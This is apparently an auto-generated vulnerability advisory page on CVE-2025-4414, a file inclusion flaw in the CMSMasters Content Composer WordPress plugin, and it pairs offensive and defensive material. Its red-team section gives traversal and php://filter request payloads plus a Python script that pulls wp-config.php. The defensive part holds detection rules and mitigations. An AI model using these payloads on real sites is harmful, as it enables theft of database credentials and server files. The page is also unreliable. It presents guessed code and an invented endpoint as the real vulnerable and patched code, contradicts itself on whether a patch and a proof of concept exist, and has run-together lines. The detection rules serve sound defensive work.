CVE-2025-4414
Executive Summary
CVE-2025-4414 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the CMSMasters Content Composer plugin for WordPress (version < 2.5.7). The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or other system files. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high impact on confidentiality. No public proof-of-concept (PoC) or exploit code has been released at this time, but the vulnerability is considered actively exploitable due to the nature of LFI in WordPress plugins.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The supply chain risk is elevated because the plugin is a third-party component integrated into WordPress sites. No malicious packages have been identified, but the lack of a patch increases the risk of supply chain attacks if the plugin is not removed or updated.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) - Full file read capability.
- Integrity (I): None (N) - No file modification.
- Availability (A): None (N) - No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server files.
Deep Dive & Mechanics
The vulnerability exists in the cmsmasters-content-composer plugin, specifically in PHP code that uses user-supplied input to construct file paths for include or require statements. The plugin likely has a parameter (e.g., file, template, view) that is passed to a function like include($_GET['file'] . '.php') without proper sanitization. An attacker can use path traversal sequences (e.g., ../../../../etc/passwd%00) to include arbitrary files. The null byte injection (%00) may be used to truncate the appended .php extension in older PHP versions, but modern PHP versions (5.3.4+) are immune to null byte truncation. However, the attacker can still include files with .php extension or use other techniques like double encoding.
The vulnerable code likely resembles:
$file = $_GET['file'];
include($file . '.php');
An attacker can exploit this by sending a request like:
GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../../etc/passwd%00
If the PHP version is vulnerable to null byte truncation, this will include /etc/passwd. Otherwise, the attacker can target files with .php extension, such as /etc/passwd (if it exists) or use wrapper protocols like php://filter to read arbitrary files.
Vulnerable vs. Patched Code
Vulnerable Code (version < 2.5.7):
// vulnerable.php
$file = $_GET['file'];
include($file . '.php');
Patched Code (version 2.5.7+):
// patched.php
$allowed_files = array('template1', 'template2', 'default');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
include($file . '.php');
} else {
// Handle error
}
The patched version uses a whitelist approach, only allowing predefined file names. This prevents any path traversal or arbitrary file inclusion.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress on a local server (e.g., XAMPP, Docker).
- Install CMSMasters Content Composer plugin version 2.5.6 (vulnerable).
- Ensure the plugin is activated.
Exploitation Steps:
- Identify the vulnerable endpoint. Common patterns include:
/wp-content/plugins/cmsmasters-content-composer/includes/class-cmsmasters-content-composer.php?file=.../wp-content/plugins/cmsmasters-content-composer/templates/...
- Use path traversal to read sensitive files:
GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../../etc/passwd%00 - If null byte fails, try reading WordPress configuration:
(Note:GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../wp-configwp-config.phpwill be included as PHP, so it may not display directly. Usephp://filterto encode it.) - Use PHP wrappers for file disclosure:
This will return the base64-encoded content ofGET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=php://filter/convert.base64-encode/resource=../../../wp-configwp-config.php.
Example Exploit (Python):
import requests
target = "http://target.com/wp-content/plugins/cmsmasters-content-composer/vulnerable.php"
payload = "php://filter/convert.base64-encode/resource=../../../wp-config"
r = requests.get(target, params={"file": payload})
print(r.text)
Blue Team (Defensive)
Detection:
- Monitor for requests containing
file=php://filterorfile=../../in the query string. - Look for unusual file paths in
include/requirecalls via PHP error logs. - Use WAF rules to block path traversal patterns.
Hunting:
- Search web server logs for
GETrequests to the plugin directory with suspiciousfileparameters. - Check for base64-encoded strings in HTTP responses.
Mitigation:
- Immediately update the plugin to version 2.5.7 or later.
- If patching is not possible, disable or remove the plugin.
- Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
file=php://filterorfile=..%2f..%2fpatterns. - Requests to
/wp-content/plugins/cmsmasters-content-composer/with suspicious query strings.
- HTTP requests containing
- File System IOCs:
- Unexpected inclusion of files like
/etc/passwd,/etc/shadow, orwp-config.phpin PHP error logs.
- Unexpected inclusion of files like
- Log IOCs:
- PHP warning messages:
include(../../../../etc/passwd): failed to open stream: No such file or directory - Access log entries with
%00(null byte) in the URL.
- PHP warning messages:
Detection Engineering
YARA Rule
rule CVE_2025_4414_LFI_Detection {
meta:
description = "Detects attempts to exploit CVE-2025-4414 in CMSMasters Content Composer"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4414"
strings:
$path_traversal = /file=\.\.(\/|\\)[^&]*/ nocase
$php_wrapper = /file=php:\/\// nocase
$null_byte = /%00/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-4414 - CMSMasters Content Composer LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Local File Inclusion in CMSMasters Content Composer plugin.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains:
- '/wp-content/plugins/cmsmasters-content-composer/'
c-uri|contains|all:
- 'file='
- '..'
condition: selection
falsepositives:
- Legitimate use of file parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4414 CMSMasters Content Composer LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/cmsmasters-content-composer/"; http_uri; content:"file="; http_uri; content:".."; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Update the CMSMasters Content Composer plugin to version 2.5.7 or later. If no patch is available, disable or remove the plugin entirely.
- Virtual Patching: If immediate update is not possible, implement a WAF rule to block requests containing
file=php://filterorfile=..in the query string. - Server Hardening:
- Disable
allow_url_includeinphp.inito prevent remote file inclusion. - Set
open_basedirto restrict PHP file access to the web root. - Use a PHP version that is not vulnerable to null byte truncation (5.3.4+).
- Disable
- Monitoring: Enable detailed logging for web server and PHP errors. Monitor for LFI patterns.
- Least Privilege: Ensure the web server runs with minimal permissions to limit the impact of file disclosure.
Valters IT - Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.